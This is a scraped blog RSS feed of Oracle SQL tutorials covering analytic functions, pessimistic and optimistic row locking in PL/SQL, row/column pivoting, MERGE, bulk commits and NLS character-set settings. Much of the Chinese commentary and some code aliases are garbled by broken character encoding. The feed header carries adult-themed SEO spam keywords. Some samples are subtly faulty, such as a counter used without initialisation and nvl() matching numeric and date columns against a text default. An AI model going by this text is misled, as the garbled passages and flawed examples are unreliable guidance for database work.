??xml version="1.0" encoding="utf-8" standalone="yes"?>99国产精品久久久久久久成人热,亚洲午夜精品久久久久久性色,中文字幕亚洲综合久久菠萝蜜 http://www.aygfsteel.com/19851985lili/category/20441.html☜GivE mE HapPy ? zh-cnTue, 15 May 2007 11:54:50 GMTTue, 15 May 2007 11:54:50 GMT60oracle分析函数 http://www.aygfsteel.com/19851985lili/articles/113616.html☜♥☞MengChuChen☜♥☞MengChuChenWed, 25 Apr 2007 12:46:00 GMThttp://www.aygfsteel.com/19851985lili/articles/113616.htmlhttp://www.aygfsteel.com/19851985lili/comments/113616.htmlhttp://www.aygfsteel.com/19851985lili/articles/113616.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/113616.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/113616.htmloracle分析函数

zhouwf0726 | 25 七月, 2006 12:51

oracle分析函数--SQL*PLUS环境
--1、GROUP BY子句

--CREATE TEST TABLE AND INSERT TEST DATA.
create table students
(id number(15,0),
area varchar2(10),
stu_type varchar2(2),
score number(20,2));

insert into students values(1, '111', 'g', 80 );
insert into students values(1, '111', 'j', 80 );
insert into students values(1, '222', 'g', 89 );
insert into students values(1, '222', 'g', 68 );
insert into students values(2, '111', 'g', 80 );
insert into students values(2, '111', 'j', 70 );
insert into students values(2, '222', 'g', 60 );
insert into students values(2, '222', 'j', 65 );
insert into students values(3, '111', 'g', 75 );
insert into students values(3, '111', 'j', 58 );
insert into students values(3, '222', 'g', 58 );
insert into students values(3, '222', 'j', 90 );
insert into students values(4, '111', 'g', 89 );
insert into students values(4, '111', 'j', 90 );
insert into students values(4, '222', 'g', 90 );
insert into students values(4, '222', 'j', 89 );
commit;

col score format 999999999999.99

--A、GROUPING SETS

select id,area,stu_type,sum(score) score
from students
group by grouping sets((id,area,stu_type),(id,area),id)
order by id,area,stu_type;

/*--------理解grouping sets
select a, b, c, sum( d ) from t
group by grouping sets ( a, b, c )

{效?br>
select * from (
select a, null, null, sum( d ) from t group by a
union all
select null, b, null, sum( d ) from t group by b
union all
select null, null, c, sum( d ) from t group by c
)
*/

--B、ROLLUP

select id,area,stu_type,sum(score) score
from students
group by rollup(id,area,stu_type)
order by id,area,stu_type;

/*--------理解rollup
select a, b, c, sum( d )
from t
group by rollup(a, b, c);

{效?br>
select * from (
select a, b, c, sum( d ) from t group by a, b, c
union all
select a, b, null, sum( d ) from t group by a, b
union all
select a, null, null, sum( d ) from t group by a
union all
select null, null, null, sum( d ) from t
)
*/

--C、CUBE

select id,area,stu_type,sum(score) score
from students
group by cube(id,area,stu_type)
order by id,area,stu_type;

/*--------理解cube
select a, b, c, sum( d ) from t
group by cube( a, b, c)

{效?br>
select a, b, c, sum( d ) from t
group by grouping sets(
( a, b, c ),
( a, b ), ( a ), ( b, c ),
( b ), ( a, c ), ( c ),
() )
*/

--D、GROUPING

/*从上面的l果中我们很Ҏ发现,每个l计数据所对应的行都会出现null,
如何来区分到底是Ҏ那个字段做的汇d,grouping函数判断是否合计?*/

select decode(grouping(id),1,'all id',id) id,
decode(grouping(area),1,'all area',to_char(area)) area,
decode(grouping(stu_type),1,'all_stu_type',stu_type) stu_type,
sum(score) score
from students
group by cube(id,area,stu_type)
order by id,area,stu_type;

--2、OVER()函数的?br>--1、RANK()、DENSE_RANK() 的、ROW_NUMBER()、CUME_DIST()、MAX()、AVG()

break on id skip 1
select id,area,score from students order by id,area,score desc;

select id,rank() over(partition by id order by score desc) rk,score from students;

--允许q列名次、名ơ不间断
select id,dense_rank() over(partition by id order by score desc) rk,score from students;

--即SCORE相同QROW_NUMBER()l果也是不同
select id,row_number() over(partition by ID order by SCORE desc) rn,score from students;

select cume_dist() over(order by id) a, --该组最大row_number/所有记录row_number
row_number() over (order by id) rn,id,area,score from students;

select id,max(score) over(partition by id order by score desc) as mx,score from students;

select id,area,avg(score) over(partition by id order by area) as avg,score from students; --注意有无order by的区?br>
--按照ID求AVG
select id,avg(score) over(partition by id order by score desc rows between unbounded preceding
and unbounded following ) as ag,score from students;


--2、SUM()

select id,area,score from students order by id,area,score desc;

select id,area,score,
sum(score) over (order by id,area) q箋求和, --按照OVER后边内容汇L?br>sum(score) over () d, -- 此处sum(score) over () {同于sum(score)
100*round(score/sum(score) over (),4) "份额(%)"
from students;

select id,area,score,
sum(score) over (partition by id order by area ) qidl求? --按照id内容汇L?br>sum(score) over (partition by id) idd, --各id的分数d
100*round(score/sum(score) over (partition by id),4) "id份额(%)",
sum(score) over () d, -- 此处sum(score) over () {同于sum(score)
100*round(score/sum(score) over (),4) "份额(%)"
from students;

--4、LAG(COL,n,default)、LEAD(OL,n,default) --取前后边N条数?br>
select id,lag(score,1,0) over(order by id) lg,score from students;

select id,lead(score,1,0) over(order by id) lg,score from students;

--5、FIRST_VALUE()、LAST_VALUE()

select id,first_value(score) over(order by id) fv,score from students;

select id,last_value(score) over(order by id) fv,score from students;



☜♥☞MengChuChen 2007-04-25 20:46 发表评论
]]>
Oracle悲观锁和乐观封锁在比较 http://www.aygfsteel.com/19851985lili/articles/113615.html☜♥☞MengChuChen☜♥☞MengChuChenWed, 25 Apr 2007 12:42:00 GMThttp://www.aygfsteel.com/19851985lili/articles/113615.htmlhttp://www.aygfsteel.com/19851985lili/comments/113615.htmlhttp://www.aygfsteel.com/19851985lili/articles/113615.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/113615.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/113615.html在Php格式?冒号被{义了,应该在的有的old和new前加冒号,以示更加清晰.

--oracle悲观锁应用CZ(以下包是研究Oracle?1i后模拟的)Q?br>--ttx_tmp.sql

代码:

create
or replace package ttx_temp_pkg is
  g_ok varchar2
(2) := 'OK';    
  
g_changed varchar2(21) :='CHANGED BY OTHER USER';
  
g_no_row varchar2(14) := 'NO ROW UPDATED';
  
  
procedure lock_row
  
(
    
x_message         out nocopy varchar2,
    
p_id              in number,
    
p_owner           in varchar2,
    
p_object_name     in varchar2,
    
p_subobject_name  in varchar2,
    
p_object_id       in number,
    
p_data_object_id  in number,
    
p_object_type     in varchar2,
    
p_created         in date,
    
p_last_ddl_time   in date,
    
p_timestamp       in varchar2,
    
p_status          in varchar2,
    
p_temporary       in varchar2,
    
p_generated       in varchar2,
    
p_secondary       in varchar2
  
);
  
  
procedure update_row
  
(
    
x_message         out nocopy varchar2,
    
p_id              in number,
    
p_owner           in varchar2,
    
p_object_name     in varchar2,
    
p_subobject_name  in varchar2,
    
p_object_id       in number,
    
p_data_object_id  in number,
    
p_object_type     in varchar2,
    
p_created         in date,
    
p_last_ddl_time   in date,
    
p_timestamp       in varchar2,
    
p_status          in varchar2,
    
p_temporary       in varchar2,
    
p_generated       in varchar2,
    
p_secondary       in varchar2  
  
);
  
  
procedure delete_row
  
(
    
p_id in number,
    
x_message out nocopy varchar2
  
);

end ttx_temp_pkg;
/

create or replace package body ttx_temp_pkg is

  procedure lock_row
  
(
    
x_message         out nocopy varchar2,
    
p_id              in number,
    
p_owner           in varchar2,
    
p_object_name     in varchar2,
    
p_subobject_name  in varchar2,
    
p_object_id       in number,
    
p_data_object_id  in number,
    
p_object_type     in varchar2,
    
p_created         in date,
    
p_last_ddl_time   in date,
    
p_timestamp       in varchar2,
    
p_status          in varchar2,
    
p_temporary       in varchar2,
    
p_generated       in varchar2,
    
p_secondary       in varchar2
  
) is
    cursor cur_ttx_temp is
      select
        id
,
        
owner,
        
object_name,
        
subobject_name,
        
object_id,
        
data_object_id,
        
object_type,
        
created,
        
last_ddl_time,
        
timestamp,
        
status,
        
temporary,
        
generated,
        
secondary
      from ttx_temp
      where id
= p_id
      
for update nowait;
    
ctt cur_ttx_temp%rowtype;  
            
  
begin
      open cur_ttx_temp
;
      
fetch cur_ttx_temp into ctt;      
      if ((
ctt.owner=p_owner) or
          (
ctt.owner is null and p_owner is null))
        and ((
ctt.object_name=p_object_name) or
          (
ctt.object_name is null and p_object_name is null))
        and ((
ctt.subobject_name=p_subobject_name) or
          (
ctt.subobject_name is null and p_subobject_name is null))
        and ((
ctt.object_id=p_object_id) or
          (
ctt.object_id is null and p_object_id is null))
        and ((
ctt.data_object_id=p_data_object_id) or
          (
ctt.data_object_id is null  and p_data_object_id is null))
        and ((
ctt.object_type=p_object_type) or
          (
ctt.object_type is null and p_object_type is null))
        and ((
ctt.created=p_created) or
          (
ctt.created is null and p_created is null))
        and ((
ctt.last_ddl_time=p_last_ddl_time) or
          (
ctt.last_ddl_time is null and p_last_ddl_time is null))
        and ((
ctt.timestamp=p_timestamp) or
          (
ctt.timestamp is null and p_timestamp is null))
        and ((
ctt.status=p_status) or
          (
ctt.status is null and p_status is null))
        and ((
ctt.temporary=p_temporary) or
          (
ctt.temporary is null and p_temporary is null))
        and ((
ctt.generated=p_generated) or
          (
ctt.generated is null and p_generated is null))
        and ((
ctt.secondary=p_secondary) or
          (
ctt.secondary is null and p_secondary is null)) then        
        x_message
:= g_ok;    
      else
        
x_message := g_changed;
      
end if;  
      
close cur_ttx_temp;
     
  
exception
    when others then
      x_message
:= substrb(sqlcode||'/'||sqlerrm,1,200);  
      if
cur_ttx_temp%isopen then
        close cur_ttx_temp
;
      
end if;
  
end;
  
  
procedure update_row
  
(
    
x_message         out nocopy varchar2,
    
p_id              in number,
    
p_owner           in varchar2,
    
p_object_name     in varchar2,
    
p_subobject_name  in varchar2,
    
p_object_id       in number,
    
p_data_object_id  in number,
    
p_object_type     in varchar2,
    
p_created         in date,
    
p_last_ddl_time   in date,
    
p_timestamp       in varchar2,
    
p_status          in varchar2,
    
p_temporary       in varchar2,
    
p_generated       in varchar2,
    
p_secondary       in varchar2  
  
) is
  begin
      update ttx_temp
      set    
      owner          
= p_owner,           
      
object_name    = p_object_name,
      
subobject_name = p_subobject_name,
      
object_id      = p_object_id,
      
data_object_id = p_data_object_id,
      
object_type    = p_object_type,
      
created        = p_created,
      
last_ddl_time  = p_last_ddl_time,
      
timestamp      = p_timestamp,
      
status         = p_status,
      
temporary      = p_temporary,
      
generated      = p_generated,
      
secondary      = p_secondary       
      where id
=p_id;
      
      if
sql%rowcount > 0 then
        x_message
:= g_ok;
      else
        
x_message := g_no_row;
    
end if;  
  
exception
    when others then
      x_message
:= substrb(sqlcode||'/'||sqlerrm,1,200);
  
end;
  
  
procedure delete_row
  
(
    
p_id in number,
    
x_message out nocopy varchar2
  
) is
  begin
      delete ttx_temp
      where id
=p_id;
      if
sql%rowcount > 0 then
        x_message
:= g_ok;
      else
        
raise no_data_found;
      
end if;
  
  
exception
    when others then
        x_message
:= substrb(sqlcode||'/'||sqlerrm,1,200);    
  
end;  

end ttx_temp_pkg;
/



--环境准备


ttx@TTX>create table ttx_temp as select *
2 from dba_objects where rownum < 100;

Table created.

ttx@TTX>alter table ttx_temp add id number;

Table altered.

ttx@TTX>create sequence ttx_temp_s;

Sequence created.

ttx@TTX>update ttx_temp set id = ttx_temp_s.nextval;

99 rows updated.

ttx@TTX>commit;

Commit complete.

ttx@TTX>alter table ttx_temp modify id not null;

Table altered.


ttx@TTX>alter table ttx_temp add constraint ttx_temp_pk primary key(id);

Table altered.

ttx@TTX>show errros;
SP2-0158: unknown SHOW option "errros"
ttx@TTX>desc ttx_temp
Name Null? Type
----------------------------------------------------- -------- ------------------------------------
OWNER VARCHAR2(30)
OBJECT_NAME VARCHAR2(128)
SUBOBJECT_NAME VARCHAR2(30)
OBJECT_ID NUMBER
DATA_OBJECT_ID NUMBER
OBJECT_TYPE VARCHAR2(19)
CREATED DATE
LAST_DDL_TIME DATE
TIMESTAMP VARCHAR2(19)
STATUS VARCHAR2(7)
TEMPORARY VARCHAR2(1)
GENERATED VARCHAR2(1)
SECONDARY VARCHAR2(1)
ID NOT NULL NUMBER

ttx@TTX>column object_name format a30
ttx@TTX>column owner format a15
ttx@TTX>select owner,object_name from ttx_temp where id < 10;

OWNER OBJECT_NAME
--------------- ------------------------------
SYS ICOL$
SYS I_USER1
SYS CON$
SYS UNDO$
SYS C_COBJ#
SYS I_OBJ#
SYS PROXY_ROLE_DATA$
SYS I_IND1
SYS I_CDEF2

9 rows selected.

ttx@TTX>desc ttx_temp_pkg
PROCEDURE DELETE_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
P_ID NUMBER IN
X_MESSAGE VARCHAR2 OUT
PROCEDURE LOCK_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
X_MESSAGE VARCHAR2 OUT
P_ID NUMBER IN
P_OWNER VARCHAR2 IN
P_OBJECT_NAME VARCHAR2 IN
P_SUBOBJECT_NAME VARCHAR2 IN
P_OBJECT_ID NUMBER IN
P_DATA_OBJECT_ID NUMBER IN
P_OBJECT_TYPE VARCHAR2 IN
P_CREATED DATE IN
P_LAST_DDL_TIME DATE IN
P_TIMESTAMP VARCHAR2 IN
P_STATUS VARCHAR2 IN
P_TEMPORARY VARCHAR2 IN
P_GENERATED VARCHAR2 IN
P_SECONDARY VARCHAR2 IN
PROCEDURE UPDATE_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
X_MESSAGE VARCHAR2 OUT
P_ID NUMBER IN
P_OWNER VARCHAR2 IN
P_OBJECT_NAME VARCHAR2 IN
P_SUBOBJECT_NAME VARCHAR2 IN
P_OBJECT_ID NUMBER IN
P_DATA_OBJECT_ID NUMBER IN
P_OBJECT_TYPE VARCHAR2 IN
P_CREATED DATE IN
P_LAST_DDL_TIME DATE IN
P_TIMESTAMP VARCHAR2 IN
P_STATUS VARCHAR2 IN
P_TEMPORARY VARCHAR2 IN
P_GENERATED VARCHAR2 IN
P_SECONDARY VARCHAR2 IN

ttx@TTX>




--前台操作用户通过前台界面查出需要的数据(select * from ttx_temp)Q?br>--然后对对ID=1的这行数据的SUBOBJECT_NAMEq行修改后提交更新时Q?br>--E序应该cM于下面的方式调用Q就可以保证数据更新不被丢失


代码:

begin
  
--old.xxx 在调用时用具体的初始值替?/font>,在Oracle Form和Delphi中都支持Old和New的模?/font>,
  --
在JAVA中我不太清楚,应该是有办法?
  ttx_temp_pkg
.lock_row
  
(
    
x_message         => v_message,       
    
p_id              => id,            
    
p_owner           => old.owner,
    
p_object_name     => old.object_name,
    
p_subobject_name  => old.subobject_name,
    
p_object_id       => old.object_id,
    
p_data_object_id  => old.data_object_id,
    
p_object_type     => old.object_type,
    
p_created         => old.created,
    
p_last_ddl_time   => old.last_ddl_time,
    
p_timestamp       => old.timestamp,
    
p_status          => old.status,
    
p_temporary       => old.temporary,
    
p_generated       => old.generated,
    
p_secondary       => old.secondary
  
);
  
  if
v_message = 'OK' then
    ttx_temp_pkg
.update_row      
    
(
      
x_message         => v_message,
      
p_id              => id,--用具体的g?
      p_owner           
=> new.owner,         
      
p_object_name     => new.object_name,   
      
p_subobject_name  => new.subobject_name,
      
p_object_id       => new.object_id,     
      
p_data_object_id  => new.data_object_id,
      
p_object_type     => new.object_type,   
      
p_created         => new.created,       
      
p_last_ddl_time   => new.last_ddl_time,
      
p_timestamp       => new.timestamp,     
      
p_status          => new.status,        
      
p_temporary       => new.temporary,     
      
p_generated       => new.generated,     
      
p_secondary       => new.secondary      
    
);
    
    if
v_message = 'OK' then
      
--数据更新成功
    
else
      --
数据更新p|  
    end
if;
    
  else
    --
锁定行出错,具体信息?/font>:v_message  
  end
if;  
  
end;




--Oracle乐观锁CZQ?br>--前台操作用户通过前台界面查出需要的数据(select t.rowid,t.* from ttx_temp t)Q?br>--然后对对ID=1的这行数据的SUBOBJECT_NAMEq行修改提交更新Q?br>--应该使用的程序代码类gؓ(Delphi可以自已产生Q其余的不太清楚)Q?br>


代码:

update ttx_temp t
set t
.subobject_name=new.subobject_name
where t
.rowid=_rowid--用具体的g?
and t.id=old.id
and nvl(t.owner,'"$!')=nvl(old.owner,'"$!')
and
nvl(t.object_name,'"$!')=nvl(old.object_name,'"$!')
and
nvl(t.object_id,'"$!')=nvl(old.object_id,'"$!')
and
nvl(t.data_object_id,'"$!')=nvl(old.data_object_id,'"$!')
and
nvl(t.object_type,'"$!')=nvl(old.object_type,'"$!')
and
nvl(t.created,'"$!')=nvl(old.created,'"$!')
and
nvl(t.last_ddl_time,'"$!')=nvl(old.last_ddl_time,'"$!')
and
nvl(t.timestamp,'"$!')=nvl(old.timestamp,'"$!')
and
nvl(t.status,'"$!')=nvl(old.status,'"$!')
and
nvl(t.temporary,'"$!')=nvl(old.temporary,'"$!')
and
nvl(t.generated,'"$!')=nvl(old.generated,'"$!')
and
nvl(t.secondary,'"$!')=nvl(old.secondary,'"$!');



--乐观锁的代码量相对来说很多,但增大了丢失更新的风险。在实际应用?br>--到底是用悲观封锁还是乐观封锁,由开发h员来定。不qOracle 11i版的ERP
--如此庞大复杂的系l都使用悲观锁Q没有理p明乐观封锁优于悲观封锁?/font>


]]>
Oracle SQL_֦SQL语句讲解 http://www.aygfsteel.com/19851985lili/articles/113612.html☜♥☞MengChuChen☜♥☞MengChuChenWed, 25 Apr 2007 12:36:00 GMThttp://www.aygfsteel.com/19851985lili/articles/113612.htmlhttp://www.aygfsteel.com/19851985lili/comments/113612.htmlhttp://www.aygfsteel.com/19851985lili/articles/113612.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/113612.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/113612.html--行列转换 行{?br>DROP TABLE t_change_lc;
CREATE TABLE t_change_lc (card_code VARCHAR2(3), q NUMBER, bal NUMBER);

INSERT INTO t_change_lc
SELECT '001' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4
UNION
SELECT '002' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4;

SELECT * FROM t_change_lc;

SELECT a.card_code,
SUM(decode(a.q, 1, a.bal, 0)) q1,
SUM(decode(a.q, 2, a.bal, 0)) q2,
SUM(decode(a.q, 3, a.bal, 0)) q3,
SUM(decode(a.q, 4, a.bal, 0)) q4
FROM t_change_lc a
GROUP BY a.card_code
ORDER BY 1;

--行列转换 列{?br>DROP TABLE t_change_cl;
CREATE TABLE t_change_cl AS
SELECT a.card_code,
SUM(decode(a.q, 1, a.bal, 0)) q1,
SUM(decode(a.q, 2, a.bal, 0)) q2,
SUM(decode(a.q, 3, a.bal, 0)) q3,
SUM(decode(a.q, 4, a.bal, 0)) q4
FROM t_change_lc a
GROUP BY a.card_code
ORDER BY 1;

SELECT * FROM t_change_cl;

SELECT t.card_code,
t.rn q,
decode(t.rn, 1, t.q1, 2, t.q2, 3, t.q3, 4, t.q4) bal
FROM (SELECT a.*, b.rn
FROM t_change_cl a,
(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM <= 4) b) t
ORDER BY 1, 2;

--行列转换 行{?合ƈ
DROP TABLE t_change_lc_comma;
CREATE TABLE t_change_lc_comma AS SELECT card_code,'quarter_'||q AS q FROM t_change_lc;

SELECT * FROM t_change_lc_comma;

SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q
FROM (SELECT a.card_code,
a.q,
row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn
FROM t_change_lc_comma a) t1
START WITH t1.rn = 1
CONNECT BY t1.card_code = PRIOR t1.card_code
AND t1.rn - 1 = PRIOR t1.rn
GROUP BY t1.card_code;

--行列转换 列{?分割
DROP TABLE t_change_cl_comma;
CREATE TABLE t_change_cl_comma AS
SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q
FROM (SELECT a.card_code,
a.q,
row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn
FROM t_change_lc_comma a) t1
START WITH t1.rn = 1
CONNECT BY t1.card_code = PRIOR t1.card_code
AND t1.rn - 1 = PRIOR t1.rn
GROUP BY t1.card_code;

SELECT * FROM t_change_cl_comma;

SELECT t.card_code,
substr(t.q,
instr(';' || t.q, ';', 1, rn),
instr(t.q || ';', ';', 1, rn) - instr(';' || t.q, ';', 1, rn)) q
FROM (SELECT a.card_code, a.q, b.rn
FROM t_change_cl_comma a,
(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM <= 100) b
WHERE instr(';' || a.q, ';', 1, rn) > 0) t
ORDER BY 1, 2;


-- 实现一条记录根据条件多表插?br>DROP TABLE t_ia_src;
CREATE TABLE t_ia_src AS SELECT 'a'||ROWNUM c1, 'b'||ROWNUM c2 FROM dual CONNECT BY ROWNUM<=5;
DROP TABLE t_ia_dest_1;
CREATE TABLE t_ia_dest_1(flag VARCHAR2(10) , c VARCHAR2(10));
DROP TABLE t_ia_dest_2;
CREATE TABLE t_ia_dest_2(flag VARCHAR2(10) , c VARCHAR2(10));
DROP TABLE t_ia_dest_3;
CREATE TABLE t_ia_dest_3(flag VARCHAR2(10) , c VARCHAR2(10));

SELECT * FROM t_ia_src;
SELECT * FROM t_ia_dest_1;
SELECT * FROM t_ia_dest_2;
SELECT * FROM t_ia_dest_3;

INSERT ALL
WHEN (c1 IN ('a1','a3')) THEN
INTO t_ia_dest_1(flag,c) VALUES(flag1,c2)
WHEN (c1 IN ('a2','a4')) THEN
INTO t_ia_dest_2(flag,c) VALUES(flag2,c2)
ELSE
INTO t_ia_dest_3(flag,c) VALUES(flag1||flag2,c1||c2)
SELECT c1,c2, 'f1' flag1, 'f2' flag2 FROM t_ia_src;

-- 如果存在更斎ͼ不存在就插入用一个语句实?br>DROP TABLE t_mg;
CREATE TABLE t_mg(code VARCHAR2(10), NAME VARCHAR2(10));

SELECT * FROM t_mg;

MERGE INTO t_mg a
USING (SELECT 'the code' code, 'the name' NAME FROM dual) b
ON (a.code = b.code)
WHEN MATCHED THEN
UPDATE SET a.NAME = b.NAME
WHEN NOT MATCHED THEN
INSERT (code, NAME) VALUES (b.code, b.NAME);

-- 抽取/删除重复记录
DROP TABLE t_dup;
CREATE TABLE t_dup AS SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM<=10;
INSERT INTO t_dup SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM<=2;

SELECT * FROM t_dup;

SELECT * FROM t_dup a WHERE a.ROWID <> (SELECT MIN(b.ROWID) FROM t_dup b WHERE a.code=b.code);

SELECT b.code, b.NAME
FROM (SELECT a.code,
a.NAME,
row_number() over(PARTITION BY a.code ORDER BY a.ROWID) rn
FROM t_dup a) b
WHERE b.rn > 1;

-- IN/EXISTS的不同适用环境
-- t_orders.customer_id有烦?br>SELECT a.*
FROM t_employees a
WHERE a.employee_id IN
(SELECT b.sales_rep_id FROM t_orders b WHERE b.customer_id = 12);

SELECT a.*
FROM t_employees a
WHERE EXISTS (SELECT 1
FROM t_orders b
WHERE b.customer_id = 12
AND a.employee_id = b.sales_rep_id);

-- t_employees.department_id有烦?br>SELECT a.*
FROM t_employees a
WHERE a.department_id = 10
AND EXISTS
(SELECT 1 FROM t_orders b WHERE a.employee_id = b.sales_rep_id);

SELECT a.*
FROM t_employees a
WHERE a.department_id = 10
AND a.employee_id IN (SELECT b.sales_rep_id FROM t_orders b);

-- FBI
DROP TABLE t_fbi;
CREATE TABLE t_fbi AS
SELECT ROWNUM rn, dbms_random.STRING('z',10) NAME , SYSDATE + dbms_random.VALUE * 10 dt FROM dual
CONNECT BY ROWNUM <=10;

CREATE INDEX idx_nonfbi ON t_fbi(dt);

DROP INDEX idx_fbi_1;
CREATE INDEX idx_fbi_1 ON t_fbi(trunc(dt));

SELECT * FROM t_fbi WHERE trunc(dt) = to_date('2006-09-21','yyyy-mm-dd') ;

-- 不徏议?br>SELECT * FROM t_fbi WHERE to_char(dt, 'yyyy-mm-dd') = '2006-09-21';

-- LOOP中的COMMIT/ROLLBACK
DROP TABLE t_loop PURGE;
create TABLE t_loop AS SELECT * FROM user_objects WHERE 1=2;

SELECT * FROM t_loop;

-- 逐行提交
DECLARE
BEGIN
FOR cur IN (SELECT * FROM user_objects) LOOP
INSERT INTO t_loop VALUES cur;
COMMIT;
END LOOP;
END;

-- 模拟扚w提交
DECLARE
v_count NUMBER;
BEGIN
FOR cur IN (SELECT * FROM user_objects) LOOP
INSERT INTO t_loop VALUES cur;
v_count := v_count + 1;
IF v_count >= 100 THEN
COMMIT;
END IF;
END LOOP;
COMMIT;
END;

-- 真正的批量提?br>DECLARE
CURSOR cur IS
SELECT * FROM user_objects;
TYPE rec IS TABLE OF user_objects%ROWTYPE;
recs rec;
BEGIN
OPEN cur;
WHILE (TRUE) LOOP
FETCH cur BULK COLLECT
INTO recs LIMIT 100;
-- forall 实现扚w
FORALL i IN 1 .. recs.COUNT
INSERT INTO t_loop VALUES recs (i);
COMMIT;
EXIT WHEN cur%NOTFOUND;
END LOOP;
CLOSE cur;
END;

-- 悲观锁定/乐观锁定
DROP TABLE t_lock PURGE;
CREATE TABLE t_lock AS SELECT 1 ID FROM dual;

SELECT * FROM t_lock;

-- 常见的实现逻辑Q隐含bug
DECLARE
v_cnt NUMBER;
BEGIN
-- q里有ƈ发性的bug
SELECT MAX(ID) INTO v_cnt FROM t_lock;

-- here for other operation
v_cnt := v_cnt + 1;
INSERT INTO t_lock (ID) VALUES (v_cnt);
COMMIT;
END;

-- 高ƈ发环境下Q安全的实现逻辑
DECLARE
v_cnt NUMBER;
BEGIN
-- Ҏ定的行取得lock
SELECT ID INTO v_cnt FROM t_lock WHERE ID=1 FOR UPDATE;
-- 在有lock的情况下l箋下面的操?br>SELECT MAX(ID) INTO v_cnt FROM t_lock;

-- here for other operation
v_cnt := v_cnt + 1;
INSERT INTO t_lock (ID) VALUES (v_cnt);
COMMIT; --提交q且释放lock
END;

-- 解?软解?br>DROP TABLE t_hard PURGE;
CREATE TABLE t_hard (ID INT);

SELECT * FROM t_hard;

DECLARE
sql_1 VARCHAR2(200);
BEGIN
-- hard parse
-- java中的同等语句?Statement.execute()
FOR i IN 1 .. 1000 LOOP
sql_1 := 'insert into t_hard(id) values(' || i || ')';
EXECUTE IMMEDIATE sql_1;
END LOOP;
COMMIT;

-- soft parse
--java中的同等语句?PreparedStatement.execute()
sql_1 := 'insert into t_hard(id) values(:id)';
FOR i IN 1 .. 1000 LOOP
EXECUTE IMMEDIATE sql_1
USING i;
END LOOP;
COMMIT;
END;



-- 正确的分늮?
SELECT *
FROM (SELECT a.*, ROWNUM rn
FROM (SELECT * FROM t_employees ORDER BY first_name) a
WHERE ROWNUM <= 500)
WHERE rn > 480 ;

-- 分页法(why not this one)
SELECT a.*, ROWNUM rn
FROM (SELECT * FROM t_employees ORDER BY first_name) a
WHERE ROWNUM <= 500 AND ROWNUM > 480;

-- 分页法(why not this one)
SELECT b.*
FROM (SELECT a.*, ROWNUM rn
FROM t_employees a
WHERE ROWNUM < = 500
ORDER BY first_name) b
WHERE b.rn > 480;

-- OLAP
-- 计合计
SELECT CASE
WHEN a.deptno IS NULL THEN
'合计'
WHEN a.deptno IS NOT NULL AND a.empno IS NULL THEN
'计'
ELSE
'' || a.deptno
END deptno,
a.empno,
a.ename,
SUM(a.sal) total_sal
FROM scott.emp a
GROUP BY GROUPING SETS((a.deptno),(a.deptno, a.empno, a.ename),());

-- 分组排序
SELECT a.deptno,
a.empno,
a.ename,
a.sal,
-- 可蟩跃的rank
rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r1,
-- 密集型rank
dense_rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r2,
-- 不分l排?br>rank() over(ORDER BY sal DESC) r3
FROM scott.emp a
ORDER BY a.deptno,a.sal DESC;

-- 当前行数据和?后n行的数据比较
SELECT a.empno,
a.ename,
a.sal,
-- 上面一?br>lag(a.sal) over(ORDER BY a.sal DESC) lag_1,
-- 下面三行
lead(a.sal, 3) over(ORDER BY a.sal DESC) lead_3
FROM scott.emp a
ORDER BY a.sal DESC;


☜♥☞MengChuChen 2007-04-25 20:36 发表评论
]]>ORACLE 字符集问?http://www.aygfsteel.com/19851985lili/articles/110344.html☜♥☞MengChuChen☜♥☞MengChuChenFri, 13 Apr 2007 01:06:00 GMThttp://www.aygfsteel.com/19851985lili/articles/110344.htmlhttp://www.aygfsteel.com/19851985lili/comments/110344.htmlhttp://www.aygfsteel.com/19851985lili/articles/110344.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/110344.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/110344.html
ORACLE 字符集问?/font>
  
一、什么是oracle字符?/span>
  Oracle字符集是一个字节数据的解释的符号集?/span>,有大之?/span>,有相互的包容关系?/span>ORACLE 支持国家语言的体pȝ构允怽使用本地化语a来存储,处理Q检索数据。它使数据库工具Q错误消息,排序ơ序Q日期,旉Q货币,数字Q和日历自动适应本地化语a和^台?/span>
SELECT * FROM V$NLS_PARAMETERS;
1       NLS_LANGUAGE SIMPLIFIED CHINESE
2       NLS_TERRITORY         CHINA
3       NLS_CURRENCY RMB
4       NLS_ISO_CURRENCY CHINA
5       NLS_NUMERIC_CHARACTERS       .,
6       NLS_CALENDAR GREGORIAN
7       NLS_DATE_FORMAT     DD-MON-RR
8       NLS_DATE_LANGUAGE         SIMPLIFIED CHINESE
9       NLS_CHARACTERSET AL32UTF8
10      NLS_SORT BINARY
11      NLS_TIME_FORMAT      HH.MI.SSXFF AM
12      NLS_TIMESTAMP_FORMAT    DD-MON-RR HH.MI.SSXFF AM
13      NLS_TIME_TZ_FORMAT        HH.MI.SSXFF AM TZR
14      NLS_TIMESTAMP_TZ_FORMAT       DD-MON-RR HH.MI.SSXFF AM TZR
15      NLS_DUAL_CURRENCY        RMB
16      NLS_NCHAR_CHARACTERSET      UTF8
17      NLS_COMP         BINARY
18      NLS_LENGTH_SEMANTICS    BYTE
19      NLS_NCHAR_CONV_EXCP    FALSE
